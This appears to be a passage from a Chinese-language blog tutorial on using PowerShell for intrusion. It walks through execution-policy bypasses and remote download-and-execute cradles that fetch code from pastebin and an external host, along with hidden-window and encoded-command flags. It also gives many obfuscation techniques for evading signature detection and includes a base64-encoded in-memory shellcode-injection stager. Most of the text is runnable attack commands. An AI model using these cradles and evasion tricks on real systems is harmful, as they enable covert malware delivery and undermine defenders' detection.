要注意的是,bat脚本最后一行必须要加一个换行符,否则会遇到“more?”报错。

 

6. Powershell脚本

PowerShell是微软开发的一款任务自动化和配置管理工具,目的是让管理员高效地完成对系统及应用程序的管理和控制,包括Windows PowerShell和PowerShell Core。在设计之初,PowerShell仅作为Windows组件存在,即Windows PowerShell;2016年8月18日,微软将PowerShell开源,并发布PowerShell Core,实现了跨平台,可在Linux上和macOS系统上安装使用。

PowerShell是一个非常庞大和复杂的概念,主要由两部分组成:

  • 命令语言解释器(Shell):作为命令解释程序,PowerShell有别于传统基于文本的Shell,它接受与返回的都是.NET对象,是基于面向对象的Shell,具有可扩展性。PowerShell的命令叫做cmdlet(command-let),采用了“动词-名词”的命名方式,动词部分取自于一个制定的动词集合,名词部分则描述了命令要操作的对象
    • 完全兼容windows 平台上其它调用,如
      • 可执行文件(exe)
      • 批处理bat
      • vb script脚本等
    • 启动第三程序,如:
      • cmd.ee
      • dll
      • jar
      • wmic
    • 对COM(组件对象模型)的完全访问
  • 基于.NET Framework\.NET Core 的脚本语言:作为一种面向对象的脚本语言,PowerShell构建在.NET平台之上,可以直接调用.NET类库、创建.NET对象,同时支持用于循环、条件、流控制和变量赋值的语言结构,其语法功能和关键字与C# 编程语言中所使用的十分类似。
https://www.freebuf.com/column/148989.html

我们知道,漏洞或黑客攻击的本质原因是操作系统提供的某些特性或功能被黑客利用或误用产生的未授权或非常规渠道访问导致的,我们这里从黑客的视角来看一看powershell的哪些“特性”可能产生攻击向量从而被黑客利用:

  • 方便的指令执行能力:Powershell和bat脚本语言一样,已经被内嵌到windows操作系统中,成为默认支持的一部分了,因为我们可以直接在命令行执行ps代码(无落盘),也可以像写C代码一样编写ps1文件(轻量脚本文件落盘),通过powershell.exe进行解释执行。
  • 面向对象的对抗能力:Windows PowerShell 引入了 cmdlet(读作“command-let”)的概念,它是内置于 Shell 的简单的单一函数命令行工具。 可以将各种 cmdlet 进行组成,形成强大的可编程逻辑,这使得powershell这种脚本具备面向对象的能力
  • 方便的文件访问能力:与许多 Shell(javascript/vbscript) 类似,Windows PowerShell 允许你访问计算机上的文件系统。 此外,Windows PowerShell 提供程序使你能够像访问文件系统一样方便地访问其他数据存储(例如注册表和数字签名证书存储)
  • 进程白名单绕过:Powershell在大多数情况下是AppLocker放行或者在应用软件白名单中的,因为Powershell本身是系统运维的一个很基础很重要的工具
  • 入侵全周期参与:powershell几乎可以在入侵killchain的任何一个环节与位置参与作用
  • 内嵌解析执行能力(Macros)
    • Word
    • Excel
  • 远程指令执行能力
    • PowerShell Remoting 

也正是因为这些特性,很多pentest toolkits(例如empire)使用powershell作为开发语言编写了很多exploit toolkits。

0x1:绕过针对ps1文件的“Restricted”限制执行策略

powershell的execute policy相当于一个running account开关,主要目的在于限制非admin管理员使用powershell这种强大工具的能力,需要注意的是,execute policy并不是设计用来组织黑客攻击的,它仅仅是出于运维目的,防止管理员“不小心”执行了预期之外的指令。

powershell execute policy仅仅针对在控制台或PS交互式环境下试图启动执行ps1脚本文件时,进行限制。对直接执行ps指令的方式不产生任何block作用。

查看所有的可选策略选项:

powershell Get-ExecutionPolicy -List

查看当前限制策略:

powershell Get-ExecutionPolicy

因为这种限制的存在,黑客以及exploit kits的在进行powershell入侵的时候,几乎不会使用文件载荷的方式,而在大多数情况下都会使用直接输入ps指令的非交互式方式进行payload载荷投递。

1. 通过唤出认证管理器,禁用执行策略

执行如下函数,唤出认证管理器,同时默认策略修改为unrestricted,但是只在一个会话范围内生效

powershell "function Disable-ExecutionPolicy {($ctx = $executioncontext.gettype().getfield('_context','nonpublic,instance').getvalue( $executioncontext)).gettype().getfield('_authorizationManager','nonpublic,instance').setvalue($ctx, (new-object System.Management.Automation.AuthorizationManager 'Microsoft.PowerShell'))}; Disable-ExecutionPolicy; ./hello.ps1"

2. 通过注册表设置执行策略为 CurrentUser 作用域

该方法和Process作用域方法类似,但是通过注册表key可将设置持续应用到当前用户环境中。

HKEY_CURRENT_USER\Software\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell

0x2:通过管道方式投递载荷

1. 通过cmd的print类指令输入ps code string

echo是cmd bat指令

Echo Write-Host "My voice is my passport, verify me."  | PowerShell.exe -noprofile -

也可以用type指令代替echo:

TYPE hello.ps1 | PowerShell.exe -noprofile -

2. 通过powershell自身的cmdlet读取ps code string传入

Get-Content 是powershell cmdlet,需要借助powershell.exe解析执行

powershell Get-Content ./hello.ps1 | PowerShell.exe -noprofile - 

0x3:通过Network IO从远程下载ps code string

1. 基于Invoke-Expression cmdlet 以及 .NET网络IO相关cmdlet 完成远程文件下载 && 并执行

我们知道, powershell是基于.Net框架的,powershell.exe只是命令行方式的一种实现,本质是对System.Management.Automation.dll的封装,所以我们可以借助 .NET 相关的面向对象组件实现网络文件下载以及进程启动的目的,这是非常容易的(在 C# 编程中这非常常见)

同时,这种方法可以从远程服务器下载一个ps1脚本代码,同时做到文件不落盘:

1. 从远程获取http response ps string并直接在内存里执行

先来尝试从远程获取一个ps string,通过创建Net.WebClient对象,实现远程文件下载(和 C# 是一样的)

powershell (New-Object Net.WebClient).DownloadString('https://pastebin.com/raw/EBPsTBLt');
# 注意!.NET的package空间的System是默认省略的
powershell (New-Object System.Net.WebClient).DownloadString('https://pastebin.com/raw/EBPsTBLt');

函数的返回结果就是远程文件的string,然后调用Invoke-Expression或 IEX 解析执行返回的ps代码,类似php里的eval

# 直接查传参解析执行
powershell IEX (New-Object Net.WebClient).DownloadString('https://pastebin.com/raw/EBPsTBLt');
powershell Invoke-Expression (New-Object Net.WebClient).DownloadString('https://pastebin.com/raw/EBPsTBLt');
# 管道传入
powershell "(New-Object Net.WebClient).DownloadString('https://pastebin.com/raw/EBPsTBLt') | IEX";

这种方式的原理类似于PHP WEBSHELL里的eval(get_file_content(“http://utl/evilcode”)),核心思想都是一样的。

2. 从远程http服务器下载一个文件落盘

powershell (New-Object Net.WebClient).DownloadFile('https://pastebin.com/raw/EBPsTBLt', './hello_remote.ps1'); 
powershell -exec bypass -c (new-object System.Net.WebClient).DownloadFile('http://reverse-tcp.xyz/test.exe','C:\test.exe')
powershell (Invoke-WebRequest http://reverse-tcp.xyz/test.jpg -O test.jpg)

# 从UVC读取
powershell -exec bypass -f \\webdavserver\folder\payload.ps1

这种方式会产生一个落盘文件。

至于要落盘什么类型文件,以及落盘之后如何启动,又有非常多的攻击向量进行组合了

2. Net.WebClient.下其他和网络IO相关的API

# Net.WebClient.下有很多和网络IO相关的API
• .DownloadString
• .DownloadStringAsync
• .DownloadStringTaskAsync
• .DownloadFile
• .DownloadFileAsync
• .DownloadFileTaskAsync
• .DownloadData
• .DownloadDataAsync
• .DownloadDataTaskAsync
• etc.

3. Options for remote download in PowerShell - 其他网络IO相关package

.NET 中可以被用于网络IO的package

1. New-Object Net.WebClient
2. PowerShell v3.0+
    1) Invoke-WebRequest/ IWR
    2) Invoke-RestMethod/ IRM
3. .Netmethods
    1) [System.Net.WebRequest]
    2) [System.Net.HttpWebRequest]
    3) [System.Net.FileWebRequest]
    4) [System.Net.FtpWebRequest]

例如:

IEX (New-Object System.IO.StreamReader([Net.HttpWebRequest]::Create("https://pastebin.com/raw/EBPsTBLt").GetResponse().GetResponseStream())).ReadToEnd();

0x4:Powershell命令行参数的各种bypass方式

PowerShell[.exe]
       [-Command { - | <script-block> [-args <arg-array>]
                     | <string> [<CommandParameters>] } ]: 执行指定的命令(和所有参数),就像从 PowerShell 命令提示符下键入的命令一样,如果未指定 NoExit,则随后退出。 实际上,-Command 后的任何文本都会作为单个命令行发送到 PowerShell,这与 -File 对发送到脚本的参数的处理方式不同。
       [-EncodedCommand <Base64EncodedCommand>]: 接受命令的 base-64 编码字符串版本。 使用此参数将命令提交到需要复杂的引号或大括号的 PowerShell。
       [-ExecutionPolicy <ExecutionPolicy>]: 为当前会话设置默认执行策略,并将其保存在 $env:PSExecutionPolicyPreference 环境变量中。 此参数不会更改在注册表中设置的 PowerShell 执行策略。
       [-File <FilePath> [<Args>]]: 在本地作用域中运行指定的脚本(“dot-sourced”),以便脚本创建的函数和变量在当前会话中可用。 输入脚本文件路径和任何参数。 File 必须是命令中的最后一个参数,因为在 File 参数名称后键入的所有字符都会被解释为后跟脚本参数及其值的脚本文件路径。
       [-InputFormat {Text | XML}] 
       [-Mta]
       [-NoExit]: 运行启动命令后不退出。
       [-NoLogo]: 启动时隐藏版权横幅。
       [-NonInteractive]: 不向用户显示交互式提示。
       [-NoProfile]: 不加载 PowerShell 配置文件。
       [-OutputFormat {Text | XML}] 
       [-PSConsoleFile <FilePath> | -Version <PowerShell version>]
       [-Sta]
       [-WindowStyle <style>]: 为会话设置窗口样式。 有效值包括 Normal、Minimized、Maximized 和 Hidden。

1. 使用 -command 命令参数

此方法和直接粘贴ps脚本内容执行的方式很像(很像php里的eval),但是此方法不需要一个交互式的窗口,它适合于脚本脚本的执行,对于复杂脚本会发生解析错误,该方法不会产生落盘文件,因为是即时输入并即时执行的。

powershell -command "Write-Host 'My voice is my passport, verify me.'"
powershell -Command {Write-Host 'My voice is my passport, verify me.'}
powershell -Command "& {Write-Host 'My voice is my passport, verify me.'}"

powershell -Exec Bypass -Command "& {Get-EventLog -LogName security}"

要注意的是:powershell的所有命令行参数都可以支持简写的形式。

Powershell -c "Write-Host 'My voice is my passport, verify me.'"

2. 使用 -EncodeCommand 参数实现base64编码

和 -command 是一样的,区别在于脚本内容可以是 unicode/base64 encode字符串。使用编码的好处是可以避免解析问题,同时还可以躲避特征性防火墙的审核。

$command = "Write-Host 'My voice is my passport, verify me.'" 
$bytes = [System.Text.Encoding]::Unicode.GetBytes($command) 
$encodedCommand = [Convert]::ToBase64String($bytes) 
powershell.exe -EncodedCommand $encodedCommand

我们可以在非交互式环境中直接执行这段代码:

powershell.exe -Enc VwByAGkAdABlAC0ASABvAHMAdAAgACcATQB5ACAAdgBvAGkAYwBlACAAaQBzACAAbQB5ACAAcABhAHMAcwBwAG8AcgB0ACwAIAB2AGUAcgBpAGYAeQAgAG0AZQAuACcA 
powershell.exe -ec VwByAGkAdABlAC0ASABvAHMAdAAgACcATQB5ACAAdgBvAGkAYwBlACAAaQBzACAAbQB5ACAAcABhAHMAcwBwAG8AcgB0ACwAIAB2AGUAcgBpAGYAeQAgAG0AZQAuACcA 

3. 使用 -Bypass 参数

该标志是微软提供的用来绕过执行策略的一种方式,当指定该标志后,即视为“Nothing is blocked and there are no warnings or prompts”

PowerShell.exe -ExecutionPolicy Bypass -File ./hello.ps1

可以看到,bypass 标志绕过了restricted策略限制。

需要注意的是,执行策略可以应用到多个级别,其中就包括我们完全控制的process,该方法仅限于当前session中,执行策略会临时变为unrestricted

powershell "Set-ExecutionPolicy Bypass -Scope Process; ./hello.ps1"

4. 使用 Unrestricted 标志参数 - 通过命令设置执行策略为 CurrentUser 作用域

该标志参数和 bypass 很像,但是使用该标志时,可以在当前会话内修改执行策略:

powershell "Set-Executionpolicy -Scope CurrentUser -ExecutionPolicy UnRestricted; ./hello.ps1"

5. 使用 -ExecutionPolicy Remote-signed 标志参数

该标志参数指示允许运行签名后的ps脚本:

PowerShell.exe -ExecutionPolicy Remote-signed -File ./hello.ps1

在restricted策略下,未签名的脚本不允许执行:

6. -Nonl:非交互模式:PowerShell不提供用户交互式提示符

powershell -NonInteractive "(New-Object Net.WebClient).DownloadString('https://pastebin.com/raw/EBPsTBLt') | IEX";
powershell -NonI "(New-Object Net.WebClient).DownloadString('https://pastebin.com/raw/EBPsTBLt') | IEX";

7. -W Hidden:设置窗口,将命令窗口保持隐藏

powershell -NonInteractive -W Hidden "(New-Object Net.WebClient).DownloadString('https://pastebin.com/raw/EBPsTBLt') | IEX";
powershell -NonI -WindowStyle Hidden "(New-Object Net.WebClient).DownloadString('https://pastebin.com/raw/EBPsTBLt') | IEX";
# 也支持直接用数字选项
powershell -w 1 -Enc "VwByAGkAdABlAC0ASABvAHMAdAAgACcATQB5ACAAdgBvAGkAYwBlACAAaQBzACAAbQB5ACAAcABhAHMAcwBwAG8AcgB0ACwAIAB2AGUAcgBpAGYAeQAgAG0AZQAuACcA"

执行该指令后,当前会话所在窗口会立即隐藏,如果是远程RCE执行的ps也不会产生新窗口

8. -NoProfile或者-NoP:Powershell不加载当前用户的配置

powershell -NonInteractive -W Hidden -NoProfile "(New-Object Net.WebClient).DownloadString('https://pastebin.com/raw/EBPsTBLt') | IEX";
powershell -NonI -NoP "(New-Object Net.WebClient).DownloadString('https://pastebin.com/raw/EBPsTBLt') | IEX";

0x5:使用 Invoke-Command 执行ps代码

1. 传入一个段ps code string即时执行

powershell.exe invoke-command -scriptblock {Write-Host "My voice is my passport, verify me."}

Invoke-Expression类似于php中的eval,只要传入的是一段代码,即可即时解析执行,

# 从文件中读取ps代码
powershell "Get-Content ./hello.ps1 | Invoke-Expression"
powershell "gc ./hello.ps1 | Invoke-Expression"

# 从http url下载ps代码
powershell IEX (New-Object Net.WebClient).DownloadString('https://pastebin.com/raw/EBPsTBLt');
powershell Invoke-Expression (New-Object Net.WebClient).DownloadString('https://pastebin.com/raw/EBPsTBLt');

2. powershell remoting特性

如下命令,可以用来从一个远程系统(可能是黑客控制的C&C服务器)上抓取powershell配置并同时应用部署到本地计算机中:

powershell.exe invoke-command -computername remote_server_ip -scriptblock {get-executionpolicy} | set-executionpolicy -force

这相当于rundll32或regsvr32支持一个http url script文件的原理一样,允许黑客注入一个通用适配的payload向受害者机器,只要通过修改C&C服务器上的恶意脚本即可完成恶意逻辑的灵活修改

0x6:通过字符串拼接方式构造payload

1. 通过字符串拼接构造参数名

powershell -w 1 -C "sv Wo -;sv v ec;sv W ((gv Wo).value.toString()+(gv v).value.toString());
# (gv W).value.toString() = -ec
powershell (gv W).value.toString() 'JABhAHMAIAA9ACAAJwAkAEIARAAgAD0AIAAnACcAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABWAGkAcgB0AHUAYQBsAEEAbABsAG8AYwAoAEkAbgB0AFAAdAByACAAbABwAEEAZABkAHIAZQBzAHMALAAgAHUAaQBuAHQAIABkAHcAUwBpAHoAZQAsACAAdQBpAG4AdAAgAGYAbABBAGwAbABvAGMAYQB0AGkAbwBuAFQAeQBwAGUALAAgAHUAaQBuAHQAIABmAGwAUAByAG8AdABlAGMAdAApADsAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABDAHIAZQBhAHQAZQBUAGgAcgBlAGEAZAAoAEkAbgB0AFAAdAByACAAbABwAFQAaAByAGUAYQBkAEEAdAB0AHIAaQBiAHUAdABlAHMALAAgAHUAaQBuAHQAIABkAHcAUwB0AGEAYwBrAFMAaQB6AGUALAAgAEkAbgB0AFAAdAByACAAbABwAFMAdABhAHIAdABBAGQAZAByAGUAcwBzACwAIABJAG4AdABQAHQAcgAgAGwAcABQAGEAcgBhAG0AZQB0AGUAcgAsACAAdQBpAG4AdAAgAGQAdwBDAHIAZQBhAHQAaQBvAG4ARgBsAGEAZwBzACwAIABJAG4AdABQAHQAcgAgAGwAcABUAGgAcgBlAGEAZABJAGQAKQA7AFsARABsAGwASQBtAHAAbwByAHQAKAAiAG0AcwB2AGMAcgB0AC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABtAGUAbQBzAGUAdAAoAEkAbgB0AFAAdAByACAAZABlAHMAdAAsACAAdQBpAG4AdAAgAHMAcgBjACwAIAB1AGkAbgB0ACAAYwBvAHUAbgB0ACkAOwAnACcAOwAkAEMAYQAgAD0AIABBAGQAZAAtAFQAeQBwAGUAIAAtAG0AZQBtAGIAZQByAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAEIARAAgAC0ATgBhAG0AZQAgACIAVwBpAG4AMwAyACIAIAAtAG4AYQBtAGUAcwBwAGEAYwBlACAAVwBpAG4AMwAyAEYAdQBuAGMAdABpAG8AbgBzACAALQBwAGEAcwBzAHQAaAByAHUAOwBbAEIAeQB0AGUAWwBdAF0AOwBbAEIAeQB0AGUAWwBdAF0AJABBAE8AIAA9ACAAOwAkAFEATAAgAD0AIAAwAHgAMQAwADAAMAA7AGkAZgAgACgAJABBAE8ALgBMAGUAbgBnAHQAaAAgAC0AZwB0ACAAMAB4ADEAMAAwADAAKQB7ACQAUQBMACAAPQAgACQAQQBPAC4ATABlAG4AZwB0AGgAfQA7ACQAWABLAD0AJABDAGEAOgA6AFYAaQByAHQAdQBhAGwAQQBsAGwAbwBjACgAMAAsADAAeAAxADAAMAAwACwAJABRAEwALAAwAHgANAAwACkAOwBmAG8AcgAgACgAJABZAFAAPQAwADsAJABZAFAAIAAtAGwAZQAgACgAJABBAE8ALgBMAGUAbgBnAHQAaAAtADEAKQA7ACQAWQBQACsAKwApACAAewAkAEMAYQA6ADoAbQBlAG0AcwBlAHQAKABbAEkAbgB0AFAAdAByAF0AKAAkAFgASwAuAFQAbwBJAG4AdAAzADIAKAApACsAJABZAFAAKQAsACAAJABBAE8AWwAkAFkAUABdACwAIAAxACkAfQA7ACQAQwBhADoAOgBDAHIAZQBhAHQAZQBUAGgAcgBlAGEAZAAoADAALAAwACwAJABYAEsALAAwACwAMAAsADAAKQA7AGYAbwByACAAKAA7ACkAewBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAA2ADAAfQA7ACcAOwAkAFcAZwAgAD0AIABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBUAG8AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAG4AaQBjAG8AZABlAC4ARwBlAHQAQgB5AHQAZQBzACgAJABhAHMAKQApADsAJABRAGIAIAA9ACAAIgAtAGUAYwAgACIAOwBpAGYAKABbAEkAbgB0AFAAdAByAF0AOgA6AFMAaQB6AGUAIAAtAGUAcQAgADgAKQB7ACQAcwBEACAAPQAgACQAZQBuAHYAOgBTAHkAcwB0AGUAbQBSAG8AbwB0ACAAKwAgACIAXABzAHkAcwB3AG8AdwA2ADQAXABXAGkAbgBkAG8AdwBzAFAAbwB3AGUAcgBTAGgAZQBsAGwAXAB2ADEALgAwAFwAcABvAHcAZQByAHMAaABlAGwAbAAiADsAaQBlAHgAIAAiACYAIAAkAHMARAAgACQAUQBiACAAJABXAGcAIgB9AGUAbABzAGUAewA7AGkAZQB4ACAAIgAmACAAcABvAHcAZQByAHMAaABlAGwAbAAgACQAUQBiACAAJABXAGcAIgA7AH0A'"

这里,sv是set-Var的最小化缩写,gv是get-Var的最小化缩写

2. 字符串拼接构造参数值

# 传入的参数本身是可以支持拼接的,这带来了一些bypass特性

powershell (New-Object Net.WebClient).DownloadString("htt"+"ps://pastebin.com/raw/EBPsTBLt");

# 参数的拼接对单引号和双引号都支持

powershell (New-Object Net.WebClient).DownloadString('htt'+'ps://pastebin.com/raw/EBPsTBLt');

# 传入参数允许有空格

powershell (New-Object Net.WebClient).DownloadString( 'htt'+'ps://pastebin.com/raw/EBPsTBLt');

3. 字符串拼接构造对象成员函数

# 类的成员函数调用支持字符串动态拼接结果(类似PHP中的变量函数/字符串函数)

powershell "(New-Object Net.WebClient).('Down'+'loadString').Invoke('https://pastebin.com/raw/EBPsTBLt');
# 和变量调用方式组合使用
powershell "$ds='Down'+'loadString'; Invoke-Expression (New-Object Net.WebClient).$ds.Invoke('https://pastebin.com/raw/EBPsTBLt')"

4. 字符串拼接构造对象

# 字符串可以转化为对象

powershell (New-Object ('Net.'+'WebClient')).DownloadString('https://pastebin.com/raw/EBPsTBLt');

# 变量可以参与实例化以及直接作为对象被调用

powershell "$var1='Net.'; $var2='WebClient'; (New-Object $var1$var2).DownloadString('https://pastebin.com/raw/EBPsTBLt')" 
powershell "$var1='Net.'; $var2='WebClient'; $a=($var1+$var2); (New-Object $a).DownloadString('https://pastebin.com/raw/EBPsTBLt')"

5. 字符串拼接构造cmdlet

# · 符号

`i`e`x (New-Object ('Net.'+'WebClient')).DownloadString('https://pastebin.com/raw/EBPsTBLt');

# 单引号

& ('I'+'EX') (New-Object ('Net.'+'WebClient')).DownloadString('https://pastebin.com/raw/EBPsTBLt');
. ('I'+'EX') (New-Object ('Net.'+'WebClient')).DownloadString('https://pastebin.com/raw/EBPsTBLt');

6. 字符串拼接构造script blocks

# PowerShell's -Join (w/o delimiter)

$c1="(New-Object Net.We"; $c2="bClient).Downlo"; $c3="adString('https://pastebin.com/raw/EBPsTBLt')";
IEX ($c1,$c2,$c3 -Join '') | IEX;

# PowerShell's -Join (with delimiter)

$c1="(New-Object Net.We"; $c2="bClient).Downlo"; $c3="adString('https://pastebin.com/raw/EBPsTBLt')";
IEX ($c1,$c3 -Join $c2) | IEX;

# Net'sJoin

$c1="(New-Object Net.We"; $c2="bClient).Downlo"; $c3="adString('https://pastebin.com/raw/EBPsTBLt')";
IEX ([string]::Join($c2,$c1,$c3)) | IEX;

# .Net'sConcat

$c1="(New-Object Net.We"; $c2="bClient).Downlo"; $c3="adString('https://pastebin.com/raw/EBPsTBLt')";
IEX ([string]::Concat($c1,$c2,$c3)) | IEX;

# + operator / concatwithout + operator

$c1="(New-Object Net.We"; $c2="bClient).Downlo"; $c3="adString('https://pastebin.com/raw/EBPsTBLt')";
IEX ($c1+$c2+$c3) | IEX;
IEX "$c1$c2$c3" | IEX;

0x7:基于面向对象的编程方式构造payload载荷

1. 借助变量实现对象的成员函数调用

# powershell是面向实现的编程语言, 可以将实例化对象和成员函数调用步骤分开

powershell "$wc=New-Object Net.WebClient; $wc.DownloadString('htt'+'ps://pastebin.com/raw/EBPsTBLt')";

# 类的成员函数可以支持单引号和双引号包裹

powershell (New-Object Net.WebClient).'DownloadString'('https://pastebin.com/raw/EBPsTBLt');
powershell (New-Object Net.WebClient)."DownloadString"('https://pastebin.com/raw/EBPsTBLt');

# 类的成员函数可支持任意大小写

powershell (New-Object Net.WebClient)."DowNloAdSTRiNg"('https://pastebin.com/raw/EBPsTBLt');

2. 借助变量实例化新的对象

# Get-Command这个cmdlet可以返回一个object的描述对象(该描述对象本身也是一个对象),通过 & 是实现解析执行

powershell (& (GCM New-Object) Net.WebClient).DownloadString( 'htt'+'ps://pastebin.com/raw/EBPsTBLt');

# 使用完整命名包空间

(& ($ExecutionContext.InvokeCommand.GetCommand($ExecutionContext.InvokeCommand.GetCommandName("*w-o*",1,1), [System.Management.Automation.CommandTypes]::Cmdlet)) Net.WebClient).DownloadString( 'htt'+'ps://pastebin.com/raw/EBPsTBLt');

# 可以借助通配符隐蔽特征字符

powershell (& (GCM *w-O*) Net.WebClient).DownloadString( 'htt'+'ps://pastebin.com/raw/EBPsTBLt');

# powershell会自动补全Get-到任意的指令作为前缀

powershell (& (COMMAND *w-O*) Net.WebClient).DownloadString( 'htt'+'ps://pastebin.com/raw/EBPsTBLt');

# 可以用变量代替对象声明

$var1="New"; $var2="-Object"; $var3=$var1+$var2; (& (COMMAND $var3) Net.WebClient).DownloadString('htt'+'ps://pastebin.com/raw/EBPsTBLt');  

0x8:利用特殊字符串相关方式实现paylaod构造

1. 转义字符

# PS引擎支持转义字符

powershell "(New-Object Net.WebClient).\"`D`o`w`N`l`o`A`d`S`T`R`i`N`g\"('https://pastebin.com/raw/EBPsTBLt');"
# 要注意的是,转义字符在要在PS的解析环境中才可以被解释,也就说这种方式要么在PS交互式环境下执行,要么对payload进行编码后,在cmdline命令行一句话执行,要么就要在cmdline里考虑编码问题,将ps code包裹在命令行中(但要考虑编码解析问题)

0x9:将string转换为script blocks

类似php中的eval,powershell也支持将一段字符串string转换为一段powershell script代码

# 调用NewScriptBlock

$ExecutionContext.InvokeCommand.NewScriptBlock((New-Object Net.WebClient).DownloadString('https://pastebin.com/raw/EBPsTBLt'));

# 调用 ${..}

. ((${`E`x`e`c`u`T`i`o`N`C`o`N`T`e`x`T}."`I`N`V`o`k`e`C`o`m`m`A`N`d"). "`N`e`w`S`c`R`i`p`T`B`l`o`c`k"((New-Object Net.WebClient).DownloadString('https://pastebin.com/raw/EBPsTBLt')));
& ((${`E`x`e`c`u`T`i`o`N`C`o`N`T`e`x`T}."`I`N`V`o`k`e`C`o`m`m`A`N`d"). "`N`e`w`S`c`R`i`p`T`B`l`o`c`k"((New-Object Net.WebClient).DownloadString('https://pastebin.com/raw/EBPsTBLt')));

0x10:通过第三方程序完成实际的网络IO请求

1. 通过模拟键盘击键实现通过notepad实现网络IO下载

# PowerShell SendKeys

notepad有一个功能,支持在打开文件中输入url,notepad会自动在后台完成下载,并将内容显示在notepad中。我们可以通过powershell的模拟按键来模拟这个过程。

# 通过发送模拟按键 
$wshell= New-Object -ComObject wscript.shell; $wshell.run("notepad"); $wshell.AppActivate('Untitled-Notepad'); Start-Sleep 2; [System.Windows.Forms.SendKeys]::SendWait('^o'); $wshell.SendKeys('https://pastebin.com/raw/EBPsTBLt'); Start-Sleep 2; [System.Windows.Forms.SendKeys]::SendWait("`r"); [System.Windows.Forms.SendKeys]::SendWait("`r");[System.Windows.Forms.SendKeys]::SendWait("`r"); Start-Sleep 5; $wshell.SendKeys('^a'); $wshell.SendKeys('^c');

# Execute contents in clipboard back in PowerShell process
[void][System.Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms'); $clipboardContents = [System.Windows.Forms.Clipboard]::GetText(); $clipboardContents| powershell -

# 关闭notepad窗口
Get-Process notepad | Foreach-Object { $_.CloseMainWindow() | Out-Null } | stop-process –force

在实际攻击过程中,我们可以把所有的指令合并到同一行:

$wshell= New-Object -ComObject wscript.shell; $wshell.run("notepad"); $wshell.AppActivate('Untitled-Notepad'); Start-Sleep 2; [System.Windows.Forms.SendKeys]::SendWait('^o'); $wshell.SendKeys('https://pastebin.com/raw/GNZKd5iW'); Start-Sleep 2; [System.Windows.Forms.SendKeys]::SendWait("`r"); [System.Windows.Forms.SendKeys]::SendWait("`r");[System.Windows.Forms.SendKeys]::SendWait("`r"); Start-Sleep 5; $wshell.SendKeys('^a'); $wshell.SendKeys('^c'); [void][System.Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms'); $clipboardContents = [System.Windows.Forms.Clipboard]::GetText(); $clipboardContents| powershell -; Get-Process notepad | Foreach-Object { $_.CloseMainWindow() | Out-Null } | stop-process –force

# .NetSendKeys(basically silent in PowerShell logs)

[void][System.Reflection.Assembly]::LoadWithPartialName("Microsoft.VisualBasic"); [void][Diagnostics.Process]::Start("notepad"); [void][System.Threading.Thread]::Sleep(2000); [void][System.Reflection.Assembly]::LoadWithPartialName("System.Windows.Forms"); [void] [System.Windows.Forms.SendKeys]::SendWait("^o"); [void] [System.Windows.Forms.SendKeys]::SendWait("https://pastebin.com/raw/GNZKd5iW"); [void][System.Threading.Thread]::Sleep(2000); [void] [System.Windows.Forms.SendKeys]::SendWait("`r"); [void] [System.Windows.Forms.SendKeys]::SendWait("`r"); [void] [System.Windows.Forms.SendKeys]::SendWait("`r"); [void][System.Threading.Thread]::Sleep(5000); 

0x11:通过字符串文本处理绕过特征检测

1. Reverse string

# $reverseCmd = "(New-Object Net.WebClient).DownloadString('https://pastebin.com/raw/EBPsTBLt')";
# ($reverseCmd[-1..-($reverseCmd.Length)] -Join '')
$reverseCmd = ")'tLBTsPBE/war/moc.nibetsap//:sptth'(gnirtSdaolnwoD.)tneilCbeW.teN tcejbO-weN(";
IEX ($reverseCmd[-1..-($reverseCmd.Length)] -Join '') | IEX;

2. 转化为数组,通过数组的方法进行reverse反转

# $reverseCmd = "(New-Object Net.WebClient).DownloadString('https://pastebin.com/raw/EBPsTBLt')";
# ($reverseCmd[-1..-($reverseCmd.Length)] -Join '')
$reverseCmd = ")'tLBTsPBE/war/moc.nibetsap//:sptth'(gnirtSdaolnwoD.)tneilCbeW.teN tcejbO-weN(";
$reverseCmdCharArray = $reverseCmd.ToCharArray(); 
[Array]::Reverse($reverseCmdCharArray); 
IEX ($reverseCmdCharArray-Join '') | IEX;

3. 利用 .NET 的正则进行 RightToLeft 重排序

# $reverseCmd = "(New-Object Net.WebClient).DownloadString('https://pastebin.com/raw/EBPsTBLt')";
# ($reverseCmd[-1..-($reverseCmd.Length)] -Join '')
$reverseCmd = ")'tLBTsPBE/war/moc.nibetsap//:sptth'(gnirtSdaolnwoD.)tneilCbeW.teN tcejbO-weN(";
IEX (-Join[RegEx]::Matches($reverseCmd,'.','RightToLeft')) | IEX;

4. 在字符串中插入分界符

# 通过split-join重新过滤编排

$cmdWithDelim = "(New-Object Net.We~~bClient).Downlo~~adString('https://pasteb~~in.com/raw/EBPsTBLt')";
IEX ($cmdWithDelim.Split("~~") -Join '') | IEX;

# 通过replace-join重新过滤编排

$cmdWithDelim = "(New-Object Net.We~~bClient).Downlo~~adString('https://pasteb~~in.com/raw/EBPsTBLt')";
IEX ($cmdWithDelim.Replace("~~", "") -Join '') | IEX;

5. 通过 -f format 填充符

IEX ('({0}w-Object {0}t.WebClient).{1}String("{2}pastebin.com/raw/EBPsTBLt")' -f 'Ne', 'Download','https://') | IEX;

6. Base64编码

# PowerShell's -EncodedCommand

# 下列的写法都可以正常执行,PowerShell auto-appends * to flags
